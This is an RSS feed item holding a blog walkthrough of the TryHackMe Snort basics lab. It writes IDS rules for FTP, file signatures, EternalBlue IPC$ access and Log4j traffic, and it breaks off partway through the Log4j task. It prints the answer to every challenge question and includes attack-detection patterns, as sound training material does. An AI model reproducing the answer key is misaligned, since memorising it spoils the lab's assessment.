<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Pavandeep Kaur on Medium]]></title>
        <description><![CDATA[Stories by Pavandeep Kaur on Medium]]></description>
        <link>https://medium.com/@pavandeepkaur3?source=rss-ee33663a866d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*l0X-WPl5xdCWdKkRpdu4Bg.jpeg</url>
            <title>Stories by Pavandeep Kaur on Medium</title>
            <link>https://medium.com/@pavandeepkaur3?source=rss-ee33663a866d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 21:29:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@pavandeepkaur3/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe: Snort Challenge — The Basics | Complete Step-by-Step Walkthrough]]></title>
            <link>https://medium.com/@pavandeepkaur3/tryhackme-snort-challenge-the-basics-complete-step-by-step-walkthrough-5d51c060535f?source=rss-ee33663a866d------2</link>
            <guid isPermaLink="false">https://medium.com/p/5d51c060535f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[snort]]></category>
            <dc:creator><![CDATA[Pavandeep Kaur]]></dc:creator>
            <pubDate>Tue, 26 Aug 2025 08:02:48 GMT</pubDate>
            <atom:updated>2025-08-26T08:02:48.591Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: Snort Challenge — The Basics | Complete Step-by-Step Walkthrough</h3><p>This challenge presents two different scenarios where you’ll investigate network traffic data and stop malicious activity. You’ll be working with live and captured network traffic using Snort — one of the most popular open-source network intrusion detection systems.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*WwDCfpmmJzphp4sk.png" /></figure><p><strong>What Makes This Guide Special:</strong></p><ul><li>Every command explained in detail</li><li>Screenshots and expected outputs described</li><li>Troubleshooting tips included</li><li>Real-world context for each detection</li></ul><h3>Lab Environment Setup</h3><p>Before starting, ensure you have:</p><ol><li>Access to TryHackMe AttackBox</li><li>All exercise files located on the desktop in respective task folders</li><li>Basic terminal knowledge</li><li>Understanding of network protocols (TCP, HTTP, FTP)</li></ol><h3>PART 1: IDS Rules for HTTP Traffic</h3><h3>Task 1: Setting Up HTTP Traffic Detection</h3><h3>Question 1: Write a rule to detect all TCP packets from or to port 80. What is the number of detected packets you got?</h3><p><strong>Step 1: Navigate to the Challenge Environment</strong></p><p>Open the AttackBox and navigate to the challenge folder. Then open the Task 2 folder:</p><pre>cd Desktop<br>cd challenge<br>cd Task-2</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*MX4uz3M7Ze5hS6ub.png" /></figure><p><strong>Step 2: Open Terminal in Task 2 Directory</strong></p><p>Right-click in the Task 2 folder and select “Open Terminal Here” or use the terminal and navigate to this location.</p><p><strong>Step 3: Create Your First Snort Rule</strong></p><p>We need to create a local rules file that Snort will use to detect traffic. Execute this command:</p><pre>sudo gedit local.rules</pre><p>This opens the gedit text editor with administrator privileges (sudo) to create/edit the local.rules file.</p><p><strong>Step 4: Understanding the HTTP Detection Rule</strong></p><p>Paste this exact rule into the file:</p><pre>alert tcp any 80 &lt;&gt; any any (msg: &quot;TCP traffic from or to port 80&quot;; sid: 1000002; rev: 1;)</pre><p><strong>Rule Breakdown for Beginners:</strong></p><ul><li>alert: This tells Snort to generate an alert when the rule matches</li><li>tcp: We&#39;re looking for TCP protocol traffic (not UDP or ICMP)</li><li>any 80: First &quot;any&quot; = any source IP, &quot;80&quot; = source port 80</li><li>&lt;&gt;: Bidirectional operator (traffic going in either direction)</li><li>any any: Destination IP (any) and destination port (any)</li><li>msg: &quot;...&quot;: The message that will appear in alerts</li><li>sid: 1000002: Unique rule identifier (must be unique)</li><li>rev: 1: Rule revision number (for tracking rule updates)</li></ul><p><strong>Step 5: Save the Rule File</strong></p><p>In gedit: Ctrl+S to save, then close the editor.</p><p><strong>Step 6: Run Snort with Your Rule</strong></p><p>Execute this command to analyze the pcap file:</p><pre>snort -A fast -q -r mx-3.pcap -c local.rules -l .</pre><p><strong>Command Parameter Explanation:</strong></p><ul><li>-A fast: Use fast alert mode (produces concise output)</li><li>-q: Quiet mode (suppresses Snort startup banner)</li><li>-r mx-3.pcap: Read from the specified packet capture file</li><li>-c local.rules: Use our custom rules file</li><li>-l .: Log output to current directory (the dot means current directory)</li></ul><p><strong>Step 7: Understanding the Output</strong></p><p>After running the command, you’ll see Snort analyze the packets. Two files will be created:</p><ul><li>alert: Contains the alert messages</li><li>snort.log.XXXXXXXX: Contains detailed packet information</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*xsJBWlNtl_NfVE3E.png" /></figure><p><strong>Step 8: Count the Detected Packets</strong></p><p>Run this command to count packets:</p><pre>cat alert | grep &quot;port 80&quot; -wc</pre><p><strong>Command Breakdown:</strong></p><ul><li>cat alert: Display contents of the alert file</li><li>|: Pipe operator (sends output to next command)</li><li>grep &quot;port 80&quot;: Search for lines containing &quot;port 80&quot;</li><li>-w: Match whole words only</li><li>-c: Count the number of matching lines</li></ul><p><strong>Expected Output:</strong> You should see the number 164</p><p><strong>Answer: 164</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*nirP9Ln49DTFyima.png" /></figure><h3>Task 2: Packet Analysis Deep Dive</h3><p>Now we’ll analyze the generated log file to extract specific information from individual packets. This is crucial for incident response and forensic analysis.</p><h3>Question 2: Investigate the log file. What is the destination address of packet 63?</h3><p><strong>Step 1: Identify Your Log File</strong></p><p>List the files in your directory:</p><pre>ls -la</pre><p>You’ll see a file named something like snort.log.1753987003 (the numbers will be different - they represent a timestamp).</p><p><strong>Step 2: Read Packet 63</strong></p><p>Use this command (replace the log filename with your actual filename):</p><pre>sudo snort -X -r snort.log.1753987003 -n 63</pre><p><strong>Command Explanation:</strong></p><ul><li>sudo: Administrator privileges needed to read log files</li><li>-X: Display complete packet details in hex and ASCII</li><li>-r snort.log.XXXXXX: Read from the specified log file</li><li>-n 63: Show only the first 63 packets</li></ul><p><strong>Step 3: Locate the Destination Address</strong></p><p>Scroll through the output to the last packet (packet 63). Look for a line that shows:</p><pre>IP: 192.168.1.X -&gt; 216.239.59.99</pre><p>The IP address after the arrow (-&gt;) is the destination address.</p><p><strong>Answer: 216.239.59.99</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*LNJh73TIFaUfGE4y.png" /></figure><h3>Question 3: Investigate the log file. What is the ACK number of packet 64?</h3><p><strong>Step 1: Read Packet 64</strong></p><pre>sudo snort -X -r snort.log.1753987003 -n 64</pre><p><strong>Step 2: Understanding TCP Headers</strong></p><p>In the output, look for the TCP header section. You’ll see something like:</p><pre>TCP Header:<br>   Source Port: XXXX<br>   Dest Port: XXXX<br>   Sequence: 0xXXXXXXXX<br>   Acknowledge: 0x2E6B5384</pre><p><strong>Step 3: Locate the ACK Number</strong></p><p>The ACK (Acknowledge) number is displayed in hexadecimal format (starts with 0x).</p><p><strong>Answer: 0x2E6B5384</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*IxYpgaI8JMhrB9Nc.png" /></figure><h3>Question 4: Investigate the log file. What is the SEQ number of packet 62?</h3><p><strong>Step 1: Read First 62 Packets</strong></p><pre>sudo snort -X -r snort.log.1753987003 -n 62</pre><p><strong>Step 2: Find Packet 62</strong></p><p>Scroll to the third-to-last packet in the output. Look for the TCP header and find the Sequence number.</p><p><strong>Answer: 0x36C21E28</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*XDHNEMYRV55O5mSO.png" /></figure><h3>Question 5: Investigate the log file. What is the TTL of packet 65?</h3><p><strong>Step 1: Read Packet 65</strong></p><pre>sudo snort -X -r snort.log.1753987003 -n 65</pre><p><strong>Step 2: Understanding IP Headers</strong></p><p>Look for the IP header section. TTL (Time To Live) is a field in the IP header that prevents packets from circulating forever. You’ll see:</p><pre>IP Header:<br>   Version: 4<br>   Header Length: 20<br>   Type of Service: 0x00<br>   Total Length: XXX<br>   ID: XXXX<br>   Flags: XXX<br>   Fragment Offset: 0<br>   TTL: 128</pre><p><strong>Answer: 128</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*xBlf95EZLHbFBy6C.png" /></figure><h3>Question 6: Investigate the log file. What is the source IP of packet 65?</h3><p><strong>Step 1: Same Command as Above</strong></p><p>From the same packet 65 analysis, look at the IP header for the source address.</p><p><strong>Answer: 145.254.160.237</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*RrOkOpWvBZ3-e55M.png" /></figure><h3>Question 7: Investigate the log file. What is the source port of packet 65?</h3><p><strong>Step 1: Look at TCP Header</strong></p><p>In the same packet 65, examine the TCP header for the source port field.</p><p><strong>Answer: 3372</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*yC4a72TrfXg4B_34.png" /></figure><h3>PART 2: IDS Rules for FTP Traffic</h3><p>File Transfer Protocol (FTP) is commonly targeted by attackers for credential brute-forcing and unauthorized access. Let’s learn to detect various FTP attack patterns.</p><p>Task 3: FTP Traffic Detection</p><h3>Question 1: Write a single rule to detect “all TCP port 21” traffic in the given pcap. What is the number of detected packets?</h3><p><strong>Step 1: Navigate to Task 3</strong></p><pre>cd ../Task-3</pre><p><strong>Step 2: Create FTP Detection Rule</strong></p><pre>sudo gedit local.rules</pre><p>Paste this rule:</p><pre>alert tcp any 21 &lt;&gt; any any (msg:&quot;TCP port 21 traffic detected&quot;; sid:1000003; rev:1;)</pre><p><strong>Why Port 21?</strong> Port 21 is the standard control port for FTP protocol. All FTP commands (login, directory listing, file transfers) use this port for control communications.</p><p><strong>Step 3: Run Analysis</strong></p><pre>snort -A fast -q -r ftp-png-gif.pcap -c local.rules -l .</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*AKu_OugKwKoUX7bi.png" /></figure><p><strong>Step 4: Count FTP Packets</strong></p><pre>cat alert | grep &quot;port 21&quot; -wc</pre><p><strong>Answer: 307</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*DTx9wdoIaykQmQr5.png" /></figure><h3>Question 2: Investigate the log file. What is the FTP service name?</h3><p><strong>Step 1: Examine Initial Packets</strong></p><p>FTP servers typically send a banner message when clients connect. Let’s examine the first few packets:</p><pre>snort -X -r snort.log.1753989591 -n 5</pre><p><strong>Step 2: Look for FTP Banner</strong></p><p>In the packet details, look for ASCII text that contains the FTP service information. You’ll see something like:</p><pre>220 Microsoft FTP Service</pre><p>The “220” is the FTP response code for “Service ready,” followed by the server identification.</p><p><strong>Answer: Microsoft FTP Service</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*tNAxVsF9yEGcZDw7.png" /></figure><h3>Question 3: Write a rule to detect failed FTP login attempts. What is the number of detected packets?</h3><p><strong>Step 1: Clean Previous Files</strong></p><pre>rm -rf alert snort.log.*</pre><p>This removes previous alert and log files to avoid confusion.</p><p><strong>Step 2: Create Failed Login Detection Rule</strong></p><pre>sudo gedit local.rules</pre><p>Replace the previous rule with:</p><pre>alert tcp any 21 &lt;&gt; any any (msg:&quot;FTP Login Failed&quot;; content:&quot;530 &quot;; sid:1000004; rev:1;)</pre><p><strong>Understanding FTP Response Codes:</strong></p><ul><li>530: Not logged in (authentication failed)</li><li>220: Service ready</li><li>230: User logged in successfully</li><li>331: User name okay, need password</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*TGwucdDBDubju-hh.png" /></figure><p><strong>Step 3: Run Analysis</strong></p><pre>snort -A fast -q -r ftp-png-gif.pcap -c local.rules -l .</pre><p><strong>Step 4: Count Failed Logins</strong></p><pre>cat alert | grep &quot;FTP Login Failed&quot; -wc</pre><p><strong>Answer: 41</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*eAmXYxForOaFCvH9.png" /></figure><h3>Question 4: Write a rule to detect successful FTP logins. What is the number of detected packets?</h3><p><strong>Step 1: Clean Files</strong></p><pre>rm -rf alert snort.log.*</pre><p><strong>Step 2: Create Successful Login Rule</strong></p><pre>sudo gedit local.rules</pre><pre>alert tcp any 21 &lt;&gt; any any (msg:&quot;FTP Login Successful&quot;; content:&quot;230 &quot;; sid:1000005; rev:1;)</pre><p><strong>Step 3: Run Analysis and Count</strong></p><pre>snort -A fast -q -r ftp-png-gif.pcap -c local.rules -l .<br>cat alert | grep &quot;FTP Login Successful&quot; -wc</pre><p><strong>Answer: 1</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*zXv8xUndFnB3l_8N.png" /></figure><h3>Question 5: Write a rule to detect FTP login attempts with a valid username but no password entered yet. What is the number of detected packets?</h3><p><strong>Step 1: Clean Files</strong></p><pre>rm -rf alert snort.log.*</pre><p><strong>Step 2: Create USER Command Detection Rule</strong></p><pre>sudo gedit local.rules</pre><pre>alert tcp any any -&gt; any 21 (msg:&quot;FTP login attempt with USER but no PASS&quot;; flow:to_server,established; content:&quot;USER &quot;; nocase; sid:1000012; rev:1;)</pre><p><strong>Advanced Rule Features Explained:</strong></p><ul><li>any any -&gt; any 21: Directional rule (client to FTP server)</li><li>flow:to_server,established: Only match established connections going to server</li><li>content:&quot;USER &quot;: Look for the USER command in FTP protocol</li><li>nocase: Case-insensitive matching</li></ul><p><strong>Step 3: Run Analysis</strong></p><pre>snort -A fast -q -r ftp-png-gif.pcap -c local.rules -l .<br>cat alert | grep &quot;no PASS&quot; -wc</pre><p><strong>Answer: 42</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*YI4rtfvKAEUCHqJW.png" /></figure><h3>Question 6: Write a rule to detect FTP login attempts with the “Administrator” username but no password entered yet. What is the number of detected packets?</h3><p><strong>Step 1: Clean Files</strong></p><pre>rm -rf alert snort.log.*</pre><p><strong>Step 2: Create Administrator-Specific Rule</strong></p><pre>sudo gedit local.rules</pre><pre>alert tcp any any -&gt; any 21 (msg:&quot;FTP login attempt with Administrator username but no password&quot;; flow:to_server,established; content:&quot;USER Administrator&quot;; nocase; sid:1000013; rev:1;)</pre><p><strong>Step 3: Run Analysis</strong></p><pre>snort -A fast -q -r ftp-png-gif.pcap -c local.rules -l .<br>cat alert | grep &quot;Administrator&quot; -wc</pre><p><strong>Answer: 7</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*utHeZNgRelFcRa0g.png" /></figure><h3>PART 3: File Detection in Network Traffic</h3><p>Understanding how files are transferred over networks is crucial for detecting data exfiltration and malware distribution.</p><h3>Task 4: PNG File Detection</h3><h3>Question 1: Write a rule to detect the PNG file in the given pcap. Investigate the logs and identify the software name embedded in the packet.</h3><p><strong>Step 1: Navigate to Task 4</strong></p><pre>cd ../Task-4</pre><p><strong>Step 2: Understand PNG File Signatures</strong></p><p>Every file type has a unique “magic number” or signature at the beginning. PNG files start with specific bytes: 89 50 4E 47 0D 0A 1A 0A</p><p><strong>Step 3: Create PNG Detection Rule</strong></p><pre>sudo gedit local.rules</pre><pre>alert tcp any any -&gt; any any (msg:&quot;PNG file detected in traffic&quot;; content:&quot;|89 50 4E 47 0D 0A 1A 0A|&quot;; sid:1000014; rev:1;)</pre><p><strong>Understanding Hex Content Matching:</strong></p><ul><li>The pipe symbols | indicate hexadecimal content</li><li>89 50 4E 47 translates to &quot;PNG&quot; in ASCII</li><li>This signature appears at the start of every PNG file</li></ul><p><strong>Step 4: Run Analysis</strong></p><pre>snort -A fast -q -r ftp-png-gif.pcap -c local.rules -l .</pre><p><strong>Step 5: Examine Log Details</strong></p><pre>sudo snort -X -r snort.log.XXXXXXXX</pre><p>(Replace XXXXXXXX with your actual log file timestamp)</p><p><strong>Step 6: Find Software Information</strong></p><p>Scroll through the packet details and look for ASCII text sections that contain software information. PNG files often contain metadata about the software used to create them.</p><p><strong>Answer: Adobe ImageReady</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*XXPjAL-MfKLAsqSX.png" /></figure><h3>Question 2: Write a rule to detect the GIF file in the given pcap. Investigate the logs and identify the image format embedded in the packet.</h3><p><strong>Step 1: Clean Previous Files</strong></p><pre>rm -rf alert snort.log.*</pre><p><strong>Step 2: Understand GIF File Signatures</strong></p><p>GIF files have two common signatures:</p><ul><li>GIF87a (older format)</li><li>GIF89a (newer format with animation support)</li></ul><p><strong>Step 3: Create GIF Detection Rules</strong></p><pre>sudo gedit local.rules</pre><pre>alert tcp any any -&gt; any any (msg:&quot;GIF file detected in traffic&quot;; content:&quot;GIF8&quot;; depth:4; content:&quot;7a&quot;; distance:0; within:2; sid:1000016; rev:1;)<br>alert tcp any any -&gt; any any (msg:&quot;GIF file detected in traffic&quot;; content:&quot;GIF8&quot;; depth:4; content:&quot;9a&quot;; distance:0; within:2; sid:1000017; rev:1;)</pre><p><strong>Advanced Content Matching Explained:</strong></p><ul><li>depth:4: Only look within the first 4 bytes of payload</li><li>distance:0: No gap between the two content matches</li><li>within:2: Second pattern must be within 2 bytes of the first</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*_xMHidN3wSVKNJdY.png" /></figure><p><strong>Step 4: Run Analysis and Examine Logs</strong></p><pre>snort -A fast -q -r ftp-png-gif.pcap -c local.rules -l .<br>sudo snort -X -r snort.log.XXXXXXXX</pre><p><strong>Answer: GIF89a</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*OzUw_sUENMckpfAV.png" /></figure><h3>PART 4: Torrent Traffic Detection</h3><p>Peer-to-peer file sharing can be a security concern in corporate environments. Let’s learn to detect BitTorrent traffic.</p><h3>Task 5: Torrent Metafile Detection</h3><h3>Question 1: Write a rule to detect the torrent metafile in the given pcap. What is the number of detected packets?</h3><p><strong>Step 1: Navigate to Task 5</strong></p><pre>cd ../Task-5</pre><p><strong>Step 2: Create Torrent Detection Rule</strong></p><pre>sudo gedit local.rules</pre><pre>alert tcp any any -&gt; any any (msg:&quot;Torrent .torrent file request detected&quot;; content:&quot;.torrent&quot;; nocase; sid:1000022; rev:1;)</pre><p><strong>Step 3: Run Analysis</strong></p><pre>snort -A fast -q -r ftp-png-gif.pcap -c local.rules -l .<br>cat alert</pre><p><strong>Answer: 2</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*LwVxLPkhXR_GeoLl.png" /></figure><h3>Question 2: Investigate the log/alarm files. What is the name of the torrent application?</h3><p><strong>Step 1: Examine the Alert Details</strong></p><p>Look through the generated logs for HTTP User-Agent strings or application identifiers.</p><p><strong>Answer: bittorrent</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*WOJxVm3K2e_Bvfe9.png" /></figure><h3>Question 3: What is the MIME type of the torrent metafile?</h3><p><strong>Step 1: Look for HTTP Headers</strong></p><p>In the packet details, find the HTTP Accept header or Content-Type header.</p><p><strong>Answer: application/x-bittorrent</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*wXSlGyQOmN8vsnLz.png" /></figure><h3>Question 4: What is the hostname of the torrent metafile?</h3><p><strong>Step 1: Find HTTP Host Header</strong></p><p>Look for the Host: field in the HTTP request headers.</p><p><strong>Answer: tracker2.torrentbox.com</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*lr77zbHioL3q59rc.png" /></figure><h3>PART 5: Troubleshooting Rule Syntax Errors</h3><p>Understanding common Snort rule errors is crucial for effective rule development.</p><h3>Task 6: Rule Syntax Debugging</h3><h3>Question 1: Fix the syntax error in local-1.rules file. What is the number of detected packets?</h3><p><strong>Step 1: Navigate to Task 6</strong></p><pre>cd ../Task-6</pre><p><strong>Step 2: Test the Broken Rule</strong></p><pre>sudo snort -c local-1.rules -r mx-1.pcap -A console</pre><p>You’ll see an error about syntax.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*r2UDpTtW4q99tSmV.png" /></figure><p><strong>Step 3: Examine the Rule</strong></p><pre>sudo gedit local-1.rules</pre><p><strong>Step 4: Identify the Error</strong></p><p>The rule likely has: any3372(msg: This should be: any 3372 (msg:</p><p><strong>The Problem:</strong> Missing space between parameters.</p><p><strong>Step 5: Fix the Rule</strong></p><pre>alert tcp any 3372 -&gt; any any (msg: &quot;Troubleshooting 1&quot;; sid:1000001; rev:1;)</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*jph32SL4n8iaXdKm.png" /></figure><p><strong>Step 6: Test the Fixed Rule</strong></p><pre>sudo snort -c local-1.rules -r mx-1.pcap -A console</pre><p><strong>Answer: 16</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/0*p4TvTpeE8jIt8WRj.png" /></figure><h3>Question 2: Fix the syntax error in local-2.rules file. What is the number of detected packets?</h3><p><strong>Step 1: Test and Identify Error</strong></p><pre>sudo snort -c local-2.rules -r mx-1.pcap -A console</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*iH7GJaOILt4bvCLY.png" /></figure><p><strong>Step 2: Fix Missing Port</strong></p><p>The rule is missing a port specification. Edit the file:</p><pre>sudo gedit local-2.rules</pre><p>Add any for the missing port parameter.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*LMuerTm6Wv7ujkDs.png" /></figure><p><strong>Answer: 68</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*m3qo-NGyLnBkGITg.png" /></figure><h3>Question 3: Fix the syntax error in local-3.rules file. What is the number of detected packets?</h3><p><strong>Step 1: Identify Duplicate SID Error</strong></p><p>Multiple rules cannot have the same SID (Snort ID).</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*t1KaxA_eVHITt4LB.png" /></figure><p><strong>Step 2: Fix by Changing SID</strong></p><p>Change the second rule’s SID to 1000002.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*ML_09pJ0qz09XbtO.png" /></figure><p><strong>Answer: 87</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*O9swvN2hBOyv1pgk.png" /></figure><h3>Question 4: Fix the syntax error in local-4.rules file. What is the number of detected packets?</h3><p><strong>Step 1: Identify Punctuation Error</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*ofaKAZGe3sfSLPn-.png" /></figure><p>Look for colons (:) that should be semicolons (;) in rule options.</p><p><strong>Step 2: Fix Punctuation and SID</strong></p><p>Change colons to semicolons and ensure unique SIDs.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*0kuVIm5VaJA2ewGc.png" /></figure><p><strong>Answer: 90</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*rGd0zRO_quBI9q8n.png" /></figure><h3>Question 5: Fix the syntax error in local-5.rules file. What is the number of detected packets?</h3><p><strong>Step 1: Identify Multiple Errors</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*7rvAV2KzxKMY0hCJ.png" /></figure><p>This rule has several issues:</p><ul><li>Wrong direction arrow (&lt;- should be -&gt;)</li><li>Incorrect punctuation</li><li>SID conflicts</li></ul><p><strong>Step 2: Fix All Issues</strong></p><p>Correct the direction, punctuation, and ensure unique SIDs.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*S8WGh3EFE8PNVOvW.png" /></figure><p><strong>Answer: 155</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/0*P5hn1UAYOJYC_jgl.png" /></figure><h3>Question 6: Fix the logical error in local-6.rules file. What is the number of detected packets?</h3><p><strong>Step 1: Identify Logical vs. Syntax Error</strong></p><p>The rule runs without syntax errors but doesn’t match anything.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*h-vtwgV3q78DSUeq.png" /></figure><p><strong>Step 2: Fix Logic Issues</strong></p><ul><li>Change bidirectional &lt;&gt; to unidirectional -&gt;</li><li>Adjust content matching for actual HTTP methods</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*mQYNrr7WO5wU-KMm.png" /></figure><p><strong>Answer: 2</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*CdB4M3ES_U_6ZOEw.png" /></figure><h3>Question 7: Fix the logical error in local-7.rules file. What is the name of the required option?</h3><p><strong>Step 1: Test Rule</strong></p><p>The rule works but doesn’t produce proper alerts.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/0*h9pXTOP1jX3CxVP0.png" /></figure><p><strong>Step 2: Identify Missing Required Option</strong></p><p>Every Snort rule must have a msg option.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*nIl1_Re6wIjsTnVm.png" /></figure><p><strong>Answer: msg</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*SilsGZdcNd33HL9o.png" /></figure><h3>PART 6: Advanced Threat Detection</h3><h3>Task 7: MS17–010 (EternalBlue) Detection</h3><h3>Question 1: Use the given rule file to investigate ms17–010 exploitation. What is the number of detected packets?</h3><p><strong>Step 1: Navigate to Task 7</strong></p><pre>cd ../Task-7</pre><p><strong>Step 2: Run Pre-built Rules</strong></p><pre>sudo snort -X -c local.rules -r ms-17-010.pcap -l .</pre><p><strong>Answer: 25154</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*xxEg_pMPGLkmDc0u.png" /></figure><h3>Question 2: Write a rule to detect payloads containing the “\IPC$” keyword. What is the number of detected packets?</h3><p><strong>Step 1: Clean Files</strong></p><pre>rm -rf alert snort.log.*</pre><p><strong>Step 2: Create IPC$ Detection Rule</strong></p><pre>sudo gedit local-1.rules</pre><pre>alert tcp any any -&gt; any any (msg:&quot;IPC$ share access attempt detected&quot;; content:&quot;\\IPC$&quot;; sid:100005; rev:1;)</pre><p><strong>Understanding IPC$ Shares:</strong> IPC$ (Inter-Process Communication) is a hidden administrative share used by Windows for inter-process communication. Attackers often target this for lateral movement.</p><p><strong>Answer: 12</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*CiLIcp_lcJ_HKMLy.png" /></figure><h3>Question 3: What is the requested path?</h3><p><strong>Step 1: Examine Log Details</strong></p><pre>sudo snort -X -r snort.log.XXXXXXXX</pre><p>Look for the full UNC path in the packet details.</p><p><strong>Answer: \192.168.116.138\IPC$</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*X4GULiTsHGAu-2et.png" /></figure><h3>Question 4: What is the CVSS v2 score of the MS17–010 vulnerability?</h3><p><strong>Step 1: Research the Vulnerability</strong></p><p>MS17–010 is the EternalBlue vulnerability that affected Windows SMB protocol.</p><p><strong>Answer: 9.3</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*5Te5dp3Salw_azzT.png" /></figure><h3>Task 8: Log4j Vulnerability Detection</h3><h3>Question 1: Use the given rule file to investigate log4j exploitation. What is the number of detected packets?</h3><p><strong>Step 1: Navigate to Task 8</strong></p><pre>cd ../Task-8</pre><p><strong>Step 2: Run Analysis</strong></p><pre>sudo snort -c local.rules -r log4j.pcap -X -l .</pre><p><strong>Answer: 26</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*E6Xvv6tPShe7-362.png" /></figure><h3>Question 2: How many rules were triggered?</h3><p><strong>Step 1: Count Unique Rule Matches</strong></p><p>Look at the alert file and count distinct rule signatures.</p><p><strong>Answer: 4</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" 